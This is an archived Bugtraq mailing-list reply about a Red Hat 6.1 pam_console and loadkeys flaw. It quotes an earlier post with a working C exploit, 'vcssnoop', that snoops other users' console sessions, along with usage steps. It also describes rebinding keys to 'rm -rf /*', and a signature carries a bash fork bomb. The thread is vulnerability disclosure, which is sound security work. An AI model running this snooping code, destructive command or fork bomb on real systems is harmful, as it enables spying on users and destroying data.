Bugtraq mailing list archives

Re: pam_console bug


From: ben.smee () ONE NET AU (Benjamin Smee)
Date: Thu, 4 May 2000 11:24:46 +1000


Heya,

actually I found something similar to this a while back in relation to
the keymaps in RH6.1. I dont know if any other distro's / version are
vulnerable but i could execute the following style of attack.

Login (this only worked when logging in on Console) as a normal user. I
could then write up a keymap which had strategic keys bound to "rm -rf
/*" for example the tilda key. I could then execute the command (on a
default Redhat 6.1 at any rate)

bash$ loadkeys example.kmap

As a NORMAL user this would load the keymap for ALL consoles. Initially
I didnt think it was anything new as in the man page I found:

BUGS
       Note that anyone having read access  to  /dev/console  can
       run loadkeys and thus change the keyboard layout, possibly
       making it unusable. Note  that  the  keyboard  translation
       table  is  common  for  all  the  virtual consoles, so any
       changes to the keyboard bindings affect  all  the  virtual
       consoles simultaneously.

but then i checked the permissions ....

[~]$ ls -la /dev/console
crw-------    1 root     root       5,   1 May  2 09:58 /dev/console
[bsmee]-[pts/2]-[maelstrom]-[11:13:02]-[05/04/00]
[~]$

Needless to say a normal user should not have permissions to do this for
the entire console. I leave it as an excercise to the reader (in true
bugtraq style) to work out some more creative ways to leverage root from
there:)

FYI: I found this issue about a week after RH6.1 was released but never
had the time to write it up. I was going to do an official "advisory"
style thing and write down a lot more technical detail but i cant be
bothered now :P

Greetz: Black ICE, ADM and the ITAC crew :P

Michal Zalewski wrote:

When accepting luser console login, pam_console called by /bin/login tries
to be user-friendly, doing several chowns on devices like login tty and
corresponding vcs[a] device, as well as other interesting devices: fd*,
audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom,
streamer/zip drive devices, frame buffer devices, kbd*, js*, video*,
radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make
console logins more comfortable, but has DEADLY effects on servers with
console luser-login ability (and that's quite common).

On logout, these devices are chown'ed back to root, but unlike
/dev/tty[0-9], these devices have no hangup mechanism, so user will have
full control over them after logout by opening them and then keeping the
file descriptor. The easiest attack is read-write snooping of consoles.
Log in on console once, open /dev/vcsX (where X corresponds to tty
number), then logout. By continous lseek/read loop, your program will be
able to snoop futher logins on this console - forever. Also, it's possible
to write() on snooped console... Ugh. Other possibilities include reading
any inserted cd, reading/writing any inserted floppy, messing with
video/audio devices and so on, all in the same way.

Minimal tty snoop exploit:

-- vcssnoop.c --
#include <sys/fcntl.h>

main(int argc,char*argv[]) {
  char buf[80*24];
  int f=open(argv[1],O_RDWR);
  while (1) {
    lseek(f,0,0);
    read(f,buf,sizeof(buf));
    write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
    write(1,buf,sizeof(buf));
    usleep(10000);
  }
}
-- EOF --

Log onto console, let's say it's tty3. Then, compile and launch this
program via screen, giving path to vcs device corresponding to your login
tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait
some time, log in remotely to your account and resume screen session. You
should see real-time tty3 dump.

_______________________________________________________
Michal Zalewski [lcamtuf () tpi pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=

--
Benjamin Smee
ben.smee () one net au or ben.smee () onetel com au
308440 () pager link com au
+61-2-95139346



Current thread: